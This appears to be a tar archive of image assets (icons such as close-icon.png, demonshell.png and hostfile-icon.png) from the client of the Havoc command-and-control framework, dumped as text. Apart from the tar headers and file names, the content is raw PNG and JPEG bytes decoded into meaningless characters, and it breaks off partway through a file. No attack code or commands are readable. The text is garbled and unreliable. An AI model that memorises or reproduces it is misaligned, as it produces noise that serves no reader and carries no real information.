Ȍ4ՑFX|*Uvz-7ѥ3au~ҥKMΜ9cׯ_}TrJ{饗$E?*6m hiNcڵP$EE,iҤ^xΝ6<&O>n/[̦Lb#F޽{o Vj ps%rno%jS Dcǎܹs!s4Au'3*L]!s֭0<"F-ZdO?%I$Ϝ=OhѣvUO\ |HL*WӮ]1u4:{mٲ~'ҥկ_Ssug-r}D? ɑ#Gl̘1!C BFx[efJuZ6m7|c3f̰~tO|rgxy9s%KBSC-o޼Fqu8es%QǙɓSO=k0Mϼ_??CY?~~w={5?T^={G-GnN! !D*fc%1 A2O<oGE4 Htd+Rݻw;.]rF}GQ(ypKj֨Q#!"$E;k6tPw\wIHKҤIbŊj*ь9C*\\5?{%K ۷wGGs*¢!`kή\B%3WY4&SNUP!P5luQAZr۷.\vߏhHI|IK.];!Q(+Wmܸ.^1G Z Q{'lرn^Kk8o9x+š8q 0hC .w'N:hG?ϯ^Zc>d>o;fOykժ;*kҤIAov1yG_N.9sX͚5ݹ!QpW8q\h޽֩S'˞={)BtTBu>y$E=1z5?gΜqs]֦Lӑeʔq? $!1(g_g̘aŊM,!Qh'Wʔ)]բEFx]vΝk۷owZ "*wRGTRDY4)v(Q|y:i(9Zj6rHWMYK֑wݻ?_R/^r6riH, hc?lK.u&zc?zW@ܹy`#>F?_P+=5h3gδuَ;LkOzM52}t\2|&yСCv븜4iҀUϨGr4wtQiYN:R樵^5imDcHHkHQ+x{>$I"9}Ѯ[_~6ydN'QFYz,y$=:YԵG1]|;%!5T8qbzSwm ƁHE6nhӦMoa7vsϓ';Lrɘ1;ʕ+lܝG]D8 B-w>͛׵}]AGN5k֭[]םӧOJ5ڵk[ԩ^ÄDVO.[L?k.7fr?yZjԩSzR%uٶm+`ƍ={Z۶mF?~Z1B'*υϐ7_Sg>l`HQsսJ[2[n#6=|0G~5jdɒ%2@c?; {m4c!QWs?;wN@K9rVXaG?ОyRϕ+^2eJ ust"~֨4h`- /_=H!0aB˞=+WΞ|Iܹ <&Mv^UC˗/b,}PV9sXӦM7L? 4iNet'":WcwI?4i6ߨ8f#kX;f۷ows2e 2}]kѢ;L@:hbŊnJ?w[~.]ƍFCHTF/^ի;۔H!!! A9rBg}z麌ٳǵ 35ooGќzjԨa:ڍ_ riTk*_wֺukW?ꔥ5 5 m|cDFt:EDlvalSMu],PUTɝ۩S'wܥKsϜ9c7nܠxΟ?o˖-_ ,=e7n#fh.LQhC,* f^{mbx@ZرcCъ5Ν;[˖-y rG.jMDo'/+EJJ-cuVv x$;Qz]Q@ wߵǻ] =9}x>ry&F|M,~Do 7hL]:JW^q] Y|[8q}r'h-VB8jШQ#;wݼyScD%ThݺuQJaP?~|w v*U pG#G3gƍn׈\,b> ܲeʔ)cq&q{ݑL,?_6mًohѢֽ{w[f gX?*8y\9{l=z}k۶կ_J.msvǀi@n7o^ 5*իfDbV}AʕqdСٳgҥKvUw ]:gzر3Wx#$n]v͛78q-jM5-(Q6R wɨ˱clժU7믿nժU6md{Gӧŋt)4ֱK,5j]"0 Oޞz)7y]"mLҥ FuGVg|uWv:9sƭ۷u1c ֺuk+We˖'NLO$o޼֥K;|x0T(uɚ5kxTj]uБ'9sŋ5kf/nI ,p;.\p(3k,{'gĿ)_7zHX꾠=t h1]6{vD -iipB?v7oQZJ:lS<Ϣ?TO[„ ި|TEFFe-qYN2FF;Z9sğю¶mۺ"%W :f|vU]@$hmJ'ChJGnذm<?~umJWֺE^yW]ufϞm-[ ʪ]?;4C ^R\ooV]=]~]bݿ2rʮ"A_Pl +W܂iJ>F?SkQ4O6j̙3/7|_zu{G,_|1cFK,%HZ ]FlDk׮ٔ)S\X9{C4T2eJ˟?լY^}U0`M0ϟok֬[NFzޤY'*=zP] \|D2uI8zk׎4AtF*f)S&XV:Ogݻ]3:.:LZb}I$s1cƸ5hNkvN]v?s f~+X̙ejM084Κ# Qɓ'C$I7Ȉޔaaa"E K>{Vםu#\իW9!}xz뭷Ŀɞ=}W~]/ڸq,A<Fu,ʕ+u To߾6c wLvQKa>U >!n7|u61~ז'OiĿQwk@={` ^xʗ/oYfTRMqꄑϲeݻ)ΝsUO[ǎW^~rmTc RqӭF!?jY;w\yIO֬Y_'Okڢe˖u!󄄄XڴimQHǏoʕ8q|~#KxuV~?wN:k@v-X2d:zCQ*U؜9sLݛ1;0O<Mğ &M&o߾1@۾}=Ӯǻ$>Oر-I$6|pr@7o޴ÇSO= J%o߾M={fΜiJ G_|і/_@ΝqY2e&#֭[ĭ[ŋO ,XzꥯK۷6lhiҤ \"KX,E6h h_~% $JvS77\pe͚՝ 'AkΜ9DCׯ_~93o}Q0a+yf裏,yJğI, >8k@4tM:tL8AtYӦMmݺH'Z"E,^xJQo}oqwI|˞=-[̮^1'N&L*%W\ֹsg;t萮ÇmԨQ3I$qs5[l5ݬYYfIĿRve][n.Q{$ڀ#؏?h uɲf0D)R+1ıc޳y|#:+W^v ]vo5j԰8qL$jժ6zh} !\bk׮5k|#:-ϝ;W_ ?~Fa=Po}۽{ :C*Uzğə3;Foڴ*Wlɓ'<"Kܸq-K,?p^?Pƍի|#Lvڦ Zׯ_ٳgmɖ,Y2+V_Tծ];[z1޽{{SP!oѣ@Xf[nwI|_kԩS@:e˚5|#Kʔ) 6Љ |ז/_>;v_ԡIm:D p*xW-<<<_4wnSN/j ~wرʼn'`ˆ3Ŋ۹st Μ9cͳܹsNy4өS'[vgo߶ɓ'[ڵ&ӴiS۾}ݸqCLYO8a׷)R|$KX6ubWSqGv,cƌEğu5't<ӠATR?0aB׽ԩS W/_v[J.kHYf/kOܼyveO?t@ԪU˦Nj7?r09D_kv1|wޖ%Kτğɜ9|]OԮyٲeVX1K8q_%Jd=͛7vSsεVZ|&$LHH)SviW^ɓ6bE]!dʔ>#۱c>t 6l(ٲe޽{u Xx Bğ+Ҵi&t>tR+Z|>$}Q\z|o߾#G !ϤOޞ{9 gٳ]Gz&Lh#Gsi 1٭[lֺukw$7D ?vu]|˶uV+UsQԡY{iﾳL&N8־}{;q HhsG۶m-cƌ?;wn5bSNYf,u@… u O.]d֭aÆ#0oƌc&M_~ϟo˗/kn;vp=jz1 g]vmLD'o߶7nիWŋvYW<|ۻwm߾~7[f-[͛^z@?G^lРAdD'N5jgDX6m{͛75… b ˟?;">^ر[d Onٲe ;}8nܸ/^}zK&[ʔ)-y4iRK8{u׿~?Zk_?oT@$ѽ_7|w!ylѮ׻@Lufҥ !дZH fǎ޽{b.բtBE峒%KZJnݺּyskݺ+PѐM?߮CZlʔ)iΜ9h"W,CҢ]vb˙3g{ UdcAEǃ: /US4bӧOC7;w-[ƍmծ͂ l? cǎ#GP*R }Wۮ];kժ5juh([=Ö3gNW|g{^/Qث {=۷oH={QlӦMsߞvd(PǏ0C힯Vۑ]"7G~+UŝB!߻%JhD3f,YC*&ɝ;+&*X[LTIbŬDVT)F'*T*U0O<;:g_|Ӏ>>CWxt縳!CСC]ˈ#\!ҷ~뢎F*J]Gqƹ8FcPǚ8pty{7_v]Zlׯi*Wl˗2eʸ?Wݗ7zSG&ԭI].NzV盰0W6*غSs 'r";k@>*D\z-^]G z[r%{b|D8{.T[q]~vi 6vDx-ZEsȺuW_4iб%OZliK.5{Iu\;v}3M65ur@tvi}lt ֫W/ (Eq'N5kZ\wI|˙3-_ܮ]1߰a{7-Yd+V-!$jB0k۶XBcv_$Hp%K)jժDWƍܹs#/H)S&{\mp^jwﶚ5kIH4Nرqy6mK.i pva}uE%yT&M>}={Vc.GIEٳgڬ{c{c &Nh Ѐ,!$zE&gn}9rDcr劭\raq Ex [z]VN $LОy|ݾ}[cpҦMKQ,!1,)Snݺٹs8jC^,Y["yѣu @۷LTR_k@]v8`mڴqGzC=l1_Pq/b+V E:w5vycJjuVR ${~75 nݺe/ҥK[$I7b~1Ц jƍp_%L͚5~JvG˗/`/jn~-; tlϥKlV\*!$fG{v?mȐ!#O?nw/2yD7Z%,q8sFlɒ% -9s~mWK;B\͛:wlNOlذ:vsQ$VXVBvI;v%J(`/|͜9k}Q͛f{W-UTTB"E {W_.:[`uLiرɕ+}駶~]A[x=/^⿨lٲ{nOcɓaÆ7n\vϹ~s[b5mԒ%Kp?%KXX)R{x`1tPˑ#k @֥KwČw zo<}3ʔ)CQ!Aܗ.]&L@#G.Yf &$$Fe'N5-Rٳ=epD\557zoܲe;r C 'N{)!$8>ӧ>}ضm477nܰ{bG#؞}Y[` ܾ}۝_bŀ τ; {؁6ls !E X(?py֭,X0J/S_|Ikժ+HVZx k9wہ\F B;I$ڵk۪U… xqDFu0:8^xve4~xmܸъ/0QCկ_?;xԩS1M4c7D! qtM:8Ν;[hhh3ʕÇMc5;v2g0IC[9_~7oj 뎒Ȕ)+ !Q=S}'vQ:4ip}I R͛˗9 ~ˢE,wܖ0a€I⿤M^{5۴i i'^z8q&!Yt5Ϝ9Cxc}h J…mt_9b_~tc;-ZVXaΝϻNfe˖$I7 !$"I,U^͛gW\-ͥ+_/^{&_2d`:u-[MnM4 !LɭQFn73Կ˟?B5*/U}Wtnje̘1~I s5"ӭ[GLQʔ)cCu 5%ua{뭷,o޼JBQ?l|;"JG.^uKppDϟCw pMN-Z0$'vZZh_|5mRH{ !$+V, w]k֬ @P3˗^zp$LÆ mԩŋ(ŋLEٳg:6ycT=&LSC=&vֲeK={6|%}Qʕ OFwNa+@dǭvږ,YhqgΩSlVD wO!'$${1WXxY@Pۭ]v7D|6kuVa7Kgϝ;r0CM&LƎkO -*m޼za)Sc!GGOuطo hHpu N6->AEZ߾}ܹsߵ~zs.UT0I8Tj*t-[fm۶DQChA;y֩S'Wp@X`$nf%y!FvQ]ЮI&Yl,^x0Q={u AdXō7H!Q0[;ӱFr@#Yfu9ڻڻw}GhAjժWj |СC6rH@!+!$%44 ,hSNe@Pu떭^~awϓ"E {饗l͚5?~k}I 3fW_}Ç{`g8!$Fٳ[^ܹs__R:͛7HثĉZ0~0B:ucؼt͎;iӦ:u!!DǨX۶mѣv /YmͮlرQnݺپ}t БL+.I$$$ĺwngϞ5f̘a峄  !$:GƪUf/7oj |I\ڵkdž Jmرqqڵϟ?`/qƵ"EI4Z`+tMBHL\5ʮ]1]|Keիp$Lڴicǎn^6p-ۺu=#0B0ԩ[NKOvXBb|z!Ot jhI5ܑl]n;fǏ4iL%N89sf?]tIc+7np4oܒ'Op$XbYԩ޲hј1cq8 'o޼ȑ#h'kO$<<ܵ9߹swt`16%!.*~g\w qF{,Yd?⿨>:JS pׯ_Ç[th{$)Y=t\w 'NXbB|uPMOҥmݺu5@ڷo <ص.ϣŋ֭[Yc?3SP!׍"I<ծ]߼ySc{˜9slٲ<Ia7p:k5}t nܸ(ɖ-KvI]@p#שZ=zs Fhh2e %a„7o^[|ݾ}[cիnT_ D!KN˗/b -B:t^|Ew7D!oDG-ZzmgΜ@Y7mdŊcR$$$Ǧ5@p$ƍu'ğ :صkX X:u,iҤ7B!pҥ[$@L^x2gpo#Kر~? ܺuuѮ]Aʔ)c#F#hY{[R ]!${jM61Ϝ9j֬po#LtO>, 8h2ܹsBhhh gy5'OO? .pO#9QOʕm…vE@vm;{o$Hp_#:Ooݺ]ߩSlΜ9C!7n\K:O7њ&׮]k:u)SZXmB"/ųٳ7|cDk6δJ Xb{u 3Xڴi&Kƍիu 駟رc!ܟ2q֭[7;z Z{p?#LҤIAvyӦMp ,!K޼ymvq]@rSLeE!Q}Nx'm۶mv@{ԤI,Yd'NWyPB3gh va=z8 IXXլYN>6r8C!QP+X[@v ZQ梎%yҤIc?mܸQ5n8RJ g .lݻw7ul /ۼy>ŧ=q"ElvYhEjթ@1ċϲdbݺuKc/ZΝ7D -Z0dy Zt+Q%I$FE:-]t!CK>Kڴi]TRY),yu$Z;bŊ,%J_wB9e̘э%H?LΜ9]  ڹq㆝czi{5hkŊ֨QhaO?e7hԩS6~x˝;%L0FEG=6h ;NE :رcvA8uV۰a믶xb;wM>ݦL^}1† 掐2d <ؾK/lֿׯ֘~Mߣf^35jIܿkΜ9߽j*[~oڽ{8p=j+WvRQwSZb\7DHJ\hCYԱPB/TVƎEX˗/`R/VN ]@*P裏,{/Buiܸ{o"G=׮]sD 6tR!Uڵm„ V|zj{_ğ w}|Cڑ^ti?~_ƍ:۷O-\~kZrGyCeTTf͚;PorLQ)ngϞeA@v\#*uϣ7n4}b#G#e0B-ʕ˖.]ʑ\ u 5kUZ'Np"nɛ7uN<:xc*Rs $Q'hv6oLhAiӦc 'ؙ3gt -[hJ,Yd_2gl۷;wZTW_YrY-&S`A4h{ ycT r7C ֽ1`rJw$]#Kξ{@̤UoӦ Q:t`{%N>7,Y)M@ɌիW[޼y-$$$`҃+̔*U*8q"GxΝ;g+Vp'Np"䏢 2X׮]'۹sҤIcq $䏢goQ9 {η~kYddD9UTe˖:Y{c޽{mû$>OҤI[3gظq,mڴ{J%lvY {bǏԩS]8$bkxx5km>|rkݺܟկ8p@̙3Zj0a€,Xzeǎ5wjuaҥ ?{^;#b u>}իW$HKݢ"FO?a'Otҹ7D|́*T֭[G8]pvi">&(ԩc{ׯk +-߿-ҦN:Dݒ2eJkذ-]LEY+W_=kXJ"u|*]0zy}۷[Ŋ][o8z&I< >= _^ L̙wa3/XժU-q$BYK/d:֭[C ;voٳgD8zdȐ>3=JF庂ō7BEu2dݻWcB'N[{Jt瞳8*ZK,/ڶmkժU?+>S*T`R '$Mp3u'&.\h͚5c<ĊҥKgeʔ֭[)S&joݺC9rFi9r(.rO)XuN3{s%:LT4QR%t 540Aȃ&˴?44_ 4ܼyS ҢpmB,KaÆ؎1]:f͚'B,zԑ?DS۷Fa73ZD\Q~o!$J#?C yGu;McL6UZx :t;~n=&7olM4q?!Jd1,Xڴi1]䞢u5jXbo @Pak-:wljղlٲU$E͛ۊ+(L {ƌc $Eicv}!p֢E =zرnܸmVxq"$BQ!X˖-رcܷkiQ̙3[,LmΝ辽g?~XN=(!1!;ӳ[fծ]RL0iAHLJ.FG}_z9r@$ŒhQdɒ?-Zˑ#Î?}^CB٫W/+V $k%Ao5 A֭[g&MO>Ě5kfٳgwܫILN„ J*5N:x`tvir뉟 chM :~AGzM::d׮]G*9pn螜5kVc/`rʖ3gNK*ŋE7o^]7piε$$(8M08{ls̱[کS͛tB 7-r?;:>"$BI$*,ƀH>HYzu:R{:ɓǦLb'OHzTD;w 2Ğy+TyHP%EV~}_u p >܊/0QAHDԹ*cƌ8Zj ~;fR}3fY H: u6mڤ1³|{W,sIBرc>}א7=m|8}-\٠A)SLЛA7+0a;?TwZФ7D'qVH(uqD.\p~|OE=G1>,GE`ӧΝ;5<0꾢מ |8KҥKg[vG7ޭ[g.{*XС=裮Gxyw)`׵klVF BH`0bPbEEÕ+W4!}+*|%Ou5 YlY?~^{3f̰z =O{˖-3}n_3:RHGk=Vre˛7;JHB"GyĆ sι=ٲe D<ŪvZ裏l֬Yc7Y BLիcD8K&MlԩիWmƍ5IO]Kb=3޽Νk~=c*U* ѳkf/^?|޼y;n[B"7 w5h:vh~[XT{: &8u͜9ʕ+b8pTأB-p;D'z~-a„/C"?tq,"kuVw;c 6%J(!!!sBߏ'{Μ9vD{-SLjղN8&o޼ij};f#FHrO†-ԩ83gNMu=U>AEڸ#7w_eȐ{!0ꈭ,zgVR% h}zw׳>6۷o˗/SN Dv7|- yCD(^6tP_.]d{8yvkѢlG4t~gٳ=VB˒%ȣש[]lzcꫯ\7&~|ƌQF&oܸ"ׯΝ;)$P+V͛7c̚5˞zꩀ4!}~\M8T( e6~xkժKŋ$D}qg.5?l2k۶mD!$E HZ8!k׶;Eh=SlHH̋TsZo ɓ':"$ZH8+k޼}?իĉvMLGiAI!B"ukfv1ul_m<䞒4iRkڴ]\ӧt-[tɒ%E?|j*]=ϟwʕ +T_-8e͚*Vh]tLy߇ sZ RHDa+WvG^..] |"$BQcsօ 4 glw{ɇ~ɔ)%O=s!?l}{:v O>`Q-XjR; bs̱[un߾OG;ȿ{QE=$kE`m۶+Vh %U~kݺM6gErecǎi >g*mٱc͛7Ͼ{WL2x-=s{F -ZٳgTZ/_u`r'Z uEaذaCׯY-Xx9| *{pe@ }m۶q=z)SiS2fh/âO֭/Қ4ibE 2quhr'*駟\'/ ԕC Z. !O u,;?KhAJ(HDŋ'Nh 2qD˟?ۅ [ݺu]Wj 11F]oU3i$w:8$$$B3<=5@M:9%!Sܹs{ɋ/زe[є.\hO?4=䞢J ͛7؃%KX:uX'WB3fz㈦s}vwl.UT:wŋ/B*qƵlٲҥKʕ+kjܳgO Dzx'իQ:Ç. j>}Ν:7D_F?ɓ''|-Hs ߪU_wEsǝ0vI۱c͛7 `7ٳsM$IX[iaW tޗrߢPT "E(~mwQnݺE:J)M4t uر|6md~=쳖3gN !Q=[sp=\6o i#GvB6$gD,[lV|y{gO?9s؁q^ox+YH"Ϟ%,,}Q:u8Oo ]`ʔ)֨Q# h~T(TzfԳc޽]!O ,G#!%zNh޼; лcǏ#GqKB + vvbX]nPԵx $MUr1:ikZƍ-<<"S֬Y￷Ci w3=xyϞ=6m4СJ0a€?[Bɓ';mٲuI*U!DhTJ˗֭k۷CҥKĉ!t裏,-qyo޽:{._rOQO޳]cNxVaÆBzoRDGuVU! 1Gf̘a'X -č׊/n-^u"j'hw߾}SO" oE *;v:uJc&- }~Wڵ;RjyL!J…s>5]Gq^|E{o &!$FE aaaاE֭[77n[N3׍LW^5[wYphAǚtU{Ν;[FH"*U*8+!/=-<jhMe^zYGG}o }k.޽+0Ϟ7DH={vk߾;%&ӥϓzڹs͞=O~-pdHH*Dʼnɓ'z4hоkٳGaF{%KE; 8AStS޼yiӦW_ٶmۢիW[ǎ-44u`P6-3i$˚5{PTYjU[fM,<|mٲF鞝 ,芧Օ!?E4u+UH}ӧ]W@Ie,] `?U\reI&hAJYd5jX.]￷e˖$x@>%ݦ?z?1Fݺus?t`#3`6oz-S=g($3nZn:ycbuPuܨQ BߢV5iWj6ﮨ16`Mh{޽8W^yʔ)crr %-aaaVpak۶}wrJwT?:K[*UUPHӉ'څ 4 =_T^ rOEu|BE:^F:^`8qb>cB|e˖u+uۺuC@$.fVۇ~h5kִ̙3 & !~bQ&˕+gO?.\hNrGz}V@WG B(ɒ%5j؆ LbhJ*l޼<rċk|+VT˗/o9stIK4'7n\wVժUwqŖ-[.] *iqr6h kҤ[N:%JjB*U*WGCݢ ۷]vq CgUWtb,Y~ [̠cg̠=Si'wְaCWqFxb-;wζmf3gδK/dKvB hsʔ)/ݻwk @ m B qL!4SdIwKG A.\KZGtҹ>ZH/B!~ZK*e?;Cϼy,W\H!ė܌_tF{/^̳,@0RǏۯjcƌnݺYӦMp®фBbr0U͘1Cc|@>6mr?D!$Gs/)X5nغtbGUVٱc?v-w:8 C!$&%44:t`W5ٿ9K!$FEs+Ƿ,Y /`SLqy4:\v:@/W_jժY9©-BHLo~{}޽{lٲYHHHB){T*UٳM_*QGe{ȧEׯۥKl֭]t݄; !Duʖ-kC a.\_~*UDIB!QuZÇ;wM4³)ܕ+Wɓ>-ZXҥ-}n-Bg¬f͚6sLW"вeK7.ϝBk4Ǒ6mZ+YԵkW0am߾.^b-jѣGmժU[ݺu-<<-xB!DJҥKg͚5={؍74 Ȩ#ofI&>A!ĎRNٳ-ZȎ9bΝsEthK6l#G믿,,XRJ&iM!^+W.(.o @ҳZwn 湒B=EG'OoիW_~پ+[fH{:K}6ol:NA˗/}o!B0:!{6vX;s\zFe+WwB!w F:ڵL2֩S'6mmڴuty? 4-ԮX>3kٲ=裖5kVK8M}! M$IZjvZvQC:&eɒ%G]!B!AXb,YXR쩧޽{… ŋt"͛7k.[|}7֮];{-iҤ@!A-̼Keb)Cd6m,SLB!5gusSΝ;cc`~mQ(PRNk<! qƵ)RX߾}mǎO={Z̙y>$E Xxx͛ x_~:D!8iݱclÆ n2OGz5oMQC!17*)QM8ю?nZ N:e'O1dbqq^%K 26!!!E!4?aÆ6uTve۴iխ[BCC9BG<8֌3ZbŬu6f۳gC7c:ի~[x9>׾;[lmB8Zтkf+V0ݿq6nh:t0:;BH4ĉc2e7… mݮ#<Mn߾݆ Du/Ŏ?m\7ߴj "޽{mȐ!>}z ByQQ:誈;k֬V^=m׮]k0M(?(M6mʖ-kSv?޷B䨰GANk,_Ξ=kGrʹ!Hg%JX6mw6ydܹs- hY~֬YczҥK[)܂}!%a„#?1\3fXfIB-L<\dIڵ;^… uZ|>s挭^Fi5nz!K,B_DG4oܶn:xc@kڵkglBH .aaaV`A{'wޱ#FتUĉ#DKq]tR4zMa5j=n[޷B{]2elݺuv@U]T)W Bbr'|}6ٱc\W}v͵kl׮]6ewDMFD>}z/zB|-?sb u Z3e˖.]!Ĵ賤ujbŬA3 lΝs}{'O;vآEO>V^=K:]} !ĘB-*}駶m6@#hvꞽ8F7n\wY̙ yS5&`5qF1bm{1˓'Hĉ0K!Q-.=C_ڡC41;v;>5A7B0Yd3gNٰUV6d[fCD1i ի][uW/_LBHTVZ{ Lb .wGzCe[:t֡Clʕo>g-AΜ9cV޽{[Fp–>}z !G O4kΝBOU/%J!BoQGoҥKgG}d ,g۷}yg˖-6o<4h VhQ*BHd'{kΝ;M o b4)nݺo΃?[pɦ $& a#)KhH1jJj*`hM*f*n4 h1"Ⱦ3n]^ϸ.Ϲ<ѣGG {aYDd$LV\\_8p`3&f̘͋> vڕPѤK3#UV3o?k͚5+V\#ݻcݺu#%\[תU+T\/E%}&qy W(k']_xQn]E>"ygB*I&N;S }XdI@wxwcѳg8ꨣrgoϤQ}5jԈ_5 )6]v%>+E|$L:3fL,Z(vܙ:=--[w]5*ҥK4h Z&"e4K)SNc k͛cѵk<$"e4g#8"N>0`@z1y7o^|:P~iƍcΜ9qGXS""e cOW_纰@AL\~}7K|~HL:ԩS':w?O_ 6Ď;YG1Zcu\s5\}?>ի^&" c͚5cذa믧5Tx>|xQ,#RzRRbqGk]uU1nܸ5kV.S@*IoȦ_o{.:u2B s\{1vX|/`ڵ1iҤ_Ed$ >ڵk\tE1jԨ>}z{ng8/7mK.^{-x4hPi& J]F DLz۽_~r,+)ٳgs3ȾI*Kgo~sOY\1𙤑DJ IDAT8^zűGqD rt|ҥKcϞ=i c.hڴietFNgzEVgϞ1r|Ngkc&uwމ~:~_^:u#h62ԙ~qwU5T~;H’HK/F~_j?cʔ)[oݻ>'lڴ)^xᅸsOFFp"!(l)uIߟ:tiӦmr1DͣZj%>EJCҙ6W^=رc 2$Ok׮M{ʆTf͚5kVÇǹw\.Q#!8}_Θ1-[r>}DݺuK|n褎SAfaId&uIgnݺť^GSƂ bǎ t:ܹ3X7x#ƍ={ FJJ\ʈ||_Η{ͥ@q\ܥK\YXI]y7n7Y7ߌ=Ξ[ܹsGn!;җ~*W\F(>`@ |.<.OOI'׏;9_}_r]{ѭ[8#mQW\qEKF{n|\}q}ų>yo9 @ٗ.x㍸;_z| _}R?i.[h\sM.*?-Z(Ǝk׎J*xȿO:Iʓk}߈QFܹsc˖-:P17nܘ/=ztթS|FM6𯓾.rJu]~o[.&N;w6&c:ԭ[7:t_|q.yr> ݛI*I~^~>|x|tIk׮ JQĴi-$} R'4}1lذ9s<Yٳ'6lؐ}&L]w]|[ߊvEqqqհa8sh;v5RW^y%3B*n۶m37n\⋱zܑGAcݻc֭xH߾/***qW^ҨQ+wKE,+WѦMϙTƏn: Gk-]46mڔXz~A./_3f̈o=EݣYfQF2'jٲes=@a >Ts;vltҥ3$T^=6m_W/g1eʔXlYn#bB/uٲeK]6?~|/:ꨨZjҘjժʼn'G5S˜4T꓊]>ݻw{1{XjUl޼9?@9Ϗɓ'СCO>ѡChذaT\9w(l=UV?^}\X}&=[,X~4nܸs`$=Snsqk^bȐ!CżyrnaPQb4cݺu^[n%E RJ'K n_`ػwopw7ƑGYt k3ϾiӦgrڶm<@I"1JƎ SO=5Zl/ Eda>O*Um۶dɒ]*yث4ϓW3cԋ.(<^k֭ >={͛cyL?W_}ut)֭OG=bҤIy NHuΜ9ѭ[^zԧMz'|r?̣^~XhQ.Uwg͚51s1bDuYѾ}hԨQ^mt:/")AG믿f͚x5uIϼ sY8|xh,8v֭sƌ3⮻ǜKҦM_͋!n?<OjԨZ /0FO?t[k.2lIE;O<W^yeQzN:O~G@i?>N=8ꨣcǎqeţ>Gk6%?˗/UVŖ-[\P*ZK,e˖Ν;]?c7qIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/close-icon.png000066400000000000000000000041531467014221700227760ustar00rootroot00000000000000PNG  IHDR{`2IDATxݯWYQQQQQQQ@ b+D ʊD@TT VD ;0z<=L~Lҙ Y,O؊)hͺ>Hոs8ZJ ?߰l:ؘc:s!eL'v衏YFfE?xg'xU┯Ey.ăY `)8q TPlܸGv,G U\[~|`_Rȟ^~H'>1ΌG"^|bn:"`7>T/)@=C-n"b~ CsD0?p8paK/?ۧ!c-n=@H ? f8D4?0pi8 ߩXɏfEV}@H 5SXSp"@ϟAO@ :x 7j<%L;%,CD,?Er0D,taHO. PCY"`;na WVQo'4(RHUPt` ?n">K_  @\/@/@/ @/@\8?pZ",DUY7g N@\/@/e0p<VNW`#(U_W Nax&2p _o ' HAL"R%@ ) o @J7 dN0,<H"F8[,;  @Z>vo3[J XX{ +o`e`"쬺%,5@x'= {mWZ@Vx#]l@N X__R&n R%RX4H H@He]Ϊ !5M @ BZ+BjBz"Bk&B+*kB.KB2+7wi^/f'N@ (?9''P~rON@ (?9''P~rON@ (?9''P~rON@ (?9''P~rON=0rϟ 5''P~rON@ (?9''P~rON@ (?9''P~rON@ (?9''P~rON@ (?9''P~rON@ (?9''P~rON@ (?9''X@ \s8V~g @3 `YQ'OF`?+?![Q~B (?)0C'%p JM'&O8pΔ@ ? OL0ÖY lg\*?-|Wߔו@OHonO T~Bgwk:+H:zaHKC2nūJ?2K]|oVGwvn.).p/ U\)g? >ZoKu q:O#9=?_G)NCv?;O)Kó[Ez~6ͤ_q͚g?Qdf6f-Cb/"sA>E^<"TèIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/close.png000066400000000000000000000003721467014221700220470ustar00rootroot00000000000000PNG  IHDRasBIT|d pHYsvvN{&tEXtSoftwarewww.inkscape.org<wIDAT8 @ DGGQBr$ Yǖgd0UnX;M-1|<9mϚ^ΠKԵR#BL1uHSN}W<0 ѼCc6yA1IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/demon-shell.jpg000066400000000000000000000054571467014221700231560ustar00rootroot00000000000000PNG  IHDRæ$sBITO pHYsFF&2[tEXtSoftwarewww.inkscape.org<[PLTEHUtRNS  !#$%&'(*+,-./01235689:;<=?BDEFGHIJKLMNPQRSVWXZ[\]^acdeginorsuxz{|~# rIDATxsTe/AM"j@DTP{.vK;{G7 "P0rqƚ=d置μ=d7lRY[]!>.nOpXFN{?ժ&9Jm+mC?߷Bu{/8wprF?Ou⺡+@c?c?c?c?c?oooooo?c?c?]m&?W??h?ί C;]g>h>\~VGݴgFpN%?Kī[U϶.;+͆/926`վ%]?ת|t< >ܸh,ڨRlφ-ߢkٳqJ `BoOgYJ-`VO[)!st1xWW4kt-}?[o.[stlNsOJ~Mp~ 1e)f쟾5e1s.mm,hN?!?mmɂ^N(`=% z%UT*_ P*@H;-PN=C* (PRWP/J0T2ԵG@5Hcؿ^RXG|'$>.3 Bi샿q?, F)?>eK~a*SY#[t~?ٴd]N:jѭodAϧz@=TkO()\.2e!cj@- Y#c16h"&&q>"R}dTFІ=۠ Z[HMNcQqU=V5yOhnhM5>ӲTS[t@d}|z"6W/2rV?wFЋ~H/_,xI)a%7ά,;IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/demonshell.jpg000066400000000000000000000010011467014221700230560ustar00rootroot00000000000000JFIFLavc58.134.100C  g"!a4#a ?Hkejo6tϰV"y:vfC1r1|L3(JY&NNBRg0Ӈ|IRz@U RZ'e ?"ʊܰj1>WZ$7zBKtUR]|;J9đ[h8ͶAK FI::)s6W) {xR'@ٴ.j(VEiԸ^0eL;0MlOcIԝUOhavoc-0.6~git20240910.69ce17c/client/data/img/demonshell.png000066400000000000000000000016741467014221700231020ustar00rootroot00000000000000PNG  IHDR(-S pHYsO%PLTE$Hl$$$H$l$$$$$H$HHHlHHHHHl$lHlllllll$Hlؐ$Hlش$Hl$HlU$UHUlUUUUU$U$$UH$Ul$U$U$U$U$UHU$HUHHUlHUHUHUHUHUlU$lUHlUllUlUlUlUlUU$UHUlUUUؐUUU$UHUlUUUشUUU$UHUlUUUUUU$UHUlUUUUU$Hl$$$H$l$$$$$H$HHHlHHHHHl$lHlllllll$Hlؐ$Hlشت$تHتlتتتتت$Hl$Hl$$$H$l$$$$$H$HHHlHHHHHl$lHlllllll$Hlؐ$Hlش$Hl$HlLRbIDATxc0-AbHAS0Ռoj@ndXjK@47dhN(o۶~Xs2'K` !^:ՐIENDB`havoc-0.6~git20240910.69ce17c/client/data/img/fclose.png000066400000000000000000000002621467014221700222130ustar00rootroot00000000000000PNG  IHDR ';6 pHYsysdIDATxe Cs 3@k T|1/X($Ud DGQtntiλ^Ntɂað`D_K]ɱ0WWffL!/R%4T'_-0IP7)-ϛ r0 3(IENDB`havoc-0.6~git20240910.69ce17c/client/data/img/hostfile-icon.png000066400000000000000000000432511467014221700235100ustar00rootroot00000000000000PNG  IHDRxFpIDATxyeTݥtg !Y ! Yjp сET77ATF̸1. (;$1xt'֩[^r󜪺UOiɒ%KWkɒŕةcp<<<<<18xx眛+sCW ~3O18x^{hx ĉ37"x ^)vخ' ÷;n{Jg$M18xfϞsw ;O d2M>uRtOK{Lqj/#^'9y{t_II?h~FtV/^=/GkMxI;ҽ%/iK]:18x9v.fKZ7]G4yUAaݯƻtsFeP$M xxxg ǿ *i=Kl֛$)/r|2EbˁHҭ 